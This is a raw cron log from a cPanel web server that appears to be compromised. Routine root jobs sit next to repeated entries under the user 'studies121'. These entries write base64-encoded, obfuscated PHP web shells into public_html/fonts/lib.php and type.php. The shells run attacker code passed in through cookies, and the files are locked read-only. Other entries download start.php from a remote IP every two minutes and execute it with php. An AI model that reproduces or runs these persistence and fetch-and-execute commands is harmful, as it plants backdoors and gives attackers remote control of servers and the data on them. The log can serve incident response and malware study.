Sep 11 09:57:01 ip-184-168-122-23 CROND[11981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:58:01 ip-184-168-122-23 CROND[12152]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 09:58:01 ip-184-168-122-23 CROND[12153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:58:01 ip-184-168-122-23 CROND[12156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:58:01 ip-184-168-122-23 CROND[12157]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:58:01 ip-184-168-122-23 CROND[12160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:59:01 ip-184-168-122-23 CROND[12263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:59:01 ip-184-168-122-23 CROND[12266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:59:01 ip-184-168-122-23 CROND[12267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:59:01 ip-184-168-122-23 CROND[12265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:00:01 ip-184-168-122-23 CROND[12359]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 10:00:01 ip-184-168-122-23 CROND[12362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:00:01 ip-184-168-122-23 CROND[12361]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 10:00:01 ip-184-168-122-23 CROND[12365]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 10:00:01 ip-184-168-122-23 CROND[12366]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 10:00:01 ip-184-168-122-23 CROND[12367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:00:01 ip-184-168-122-23 CROND[12363]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 11 10:00:01 ip-184-168-122-23 CROND[12368]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:00:01 ip-184-168-122-23 CROND[12364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:01:01 ip-184-168-122-23 CROND[12483]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 10:01:01 ip-184-168-122-23 CROND[12484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[12483]: starting 0anacron
Sep 11 10:01:01 ip-184-168-122-23 CROND[12487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:01:01 ip-184-168-122-23 CROND[12495]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 10:01:01 ip-184-168-122-23 CROND[12494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:01:01 ip-184-168-122-23 CROND[12498]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[12502]: finished 0anacron
Sep 11 10:02:01 ip-184-168-122-23 CROND[12583]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:02:01 ip-184-168-122-23 CROND[12585]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 10:02:01 ip-184-168-122-23 CROND[12588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:02:01 ip-184-168-122-23 CROND[12587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:02:01 ip-184-168-122-23 CROND[12589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:03:02 ip-184-168-122-23 CROND[12779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:03:02 ip-184-168-122-23 CROND[12780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:03:02 ip-184-168-122-23 CROND[12781]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:03:02 ip-184-168-122-23 CROND[12786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:04:01 ip-184-168-122-23 CROND[12881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:04:01 ip-184-168-122-23 CROND[12882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:04:01 ip-184-168-122-23 CROND[12885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:04:01 ip-184-168-122-23 CROND[12884]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 10:04:01 ip-184-168-122-23 CROND[12886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:05:01 ip-184-168-122-23 CROND[13000]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:05:01 ip-184-168-122-23 CROND[13002]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 10:05:01 ip-184-168-122-23 CROND[13005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:05:01 ip-184-168-122-23 CROND[13003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:05:01 ip-184-168-122-23 CROND[13007]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 10:05:01 ip-184-168-122-23 CROND[13006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:05:01 ip-184-168-122-23 CROND[13004]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 10:06:01 ip-184-168-122-23 CROND[13093]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 10:06:01 ip-184-168-122-23 CROND[13095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:06:01 ip-184-168-122-23 CROND[13098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:06:01 ip-184-168-122-23 CROND[13097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:06:01 ip-184-168-122-23 CROND[13096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:07:02 ip-184-168-122-23 CROND[13224]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:07:02 ip-184-168-122-23 CROND[13225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:07:02 ip-184-168-122-23 CROND[13226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:07:02 ip-184-168-122-23 CROND[13229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:08:01 ip-184-168-122-23 CROND[13328]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 10:08:01 ip-184-168-122-23 CROND[13329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:08:01 ip-184-168-122-23 CROND[13330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:08:01 ip-184-168-122-23 CROND[13332]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:08:01 ip-184-168-122-23 CROND[13331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:09:01 ip-184-168-122-23 CROND[13522]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:09:01 ip-184-168-122-23 CROND[13526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:09:01 ip-184-168-122-23 CROND[13525]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 10:09:01 ip-184-168-122-23 CROND[13527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
